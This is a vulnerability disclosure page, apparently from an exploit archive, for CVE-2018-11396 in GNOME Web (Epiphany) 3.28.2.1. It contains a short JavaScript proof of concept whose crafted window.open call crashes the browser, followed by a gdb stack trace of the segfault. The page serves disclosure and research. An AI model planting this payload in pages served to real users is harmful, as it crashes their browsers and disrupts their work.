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Epiphany 3.28.2.1 Denial Of Service

Epiphany 3.28.2.1 Denial Of Service
Posted Jun 1, 2018
Authored by Dhiraj Mishra

Epiphany version 3.28.2.1 suffers from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2018-11396
MD5 | 965dc4e23eb37e3a77857fea3e6a7c8c

Epiphany 3.28.2.1 Denial Of Service

Change Mirror Download
Summary:
ephy-session.c in libephymain.so in GNOME Web (aka Epiphany) through 3.28.2.1 allows remote attackers to cause a denial of service (application crash) via JavaScript code that triggers access to a NULL URL, as demonstrated by a crafted window.open call, CVE-2018-11396 was assigned to this issue.

PoC:
<script>
win = window.open("hello world");
</script>

Stack trace:
ftw@ftw-box:~$ gdb epiphany
(gdb) run
Starting program: /usr/bin/epiphany
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffe08bc700 (LWP 2279)]
[New Thread 0x7fffdee51700 (LWP 2280)]
[New Thread 0x7fffde650700 (LWP 2281)]
[New Thread 0x7fffdcdd5700 (LWP 2282)]
[New Thread 0x7fffd7fff700 (LWP 2283)]
[New Thread 0x7fffd77fe700 (LWP 2284)]
[New Thread 0x7fffd6ffd700 (LWP 2285)]
[New Thread 0x7fffd67fc700 (LWP 2286)]
[New Thread 0x7fffd5b8c700 (LWP 2287)]
[New Thread 0x7fffd538b700 (LWP 2288)]
[New Thread 0x7fff8f486700 (LWP 2294)]
[New Thread 0x7fff8da1e700 (LWP 2304)]
[New Thread 0x7fff8d21d700 (LWP 2305)]
[New Thread 0x7fff8ea7f700 (LWP 2315)]
[Thread 0x7fffd5b8c700 (LWP 2287) exited]
[Thread 0x7fffd67fc700 (LWP 2286) exited]

Thread 15 "pool" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ea7f700 (LWP 2315)]
0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
(gdb) bt
#0 0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
#1 0x00007ffff7079be6 in ?? () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0
#2 0x00007ffff73fe7d0 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#3 0x00007ffff73fde05 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#4 0x00007fffefc246db in start_thread (arg=0x7fff8ea7f700) at pthread_create.c:463
#5 0x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb)

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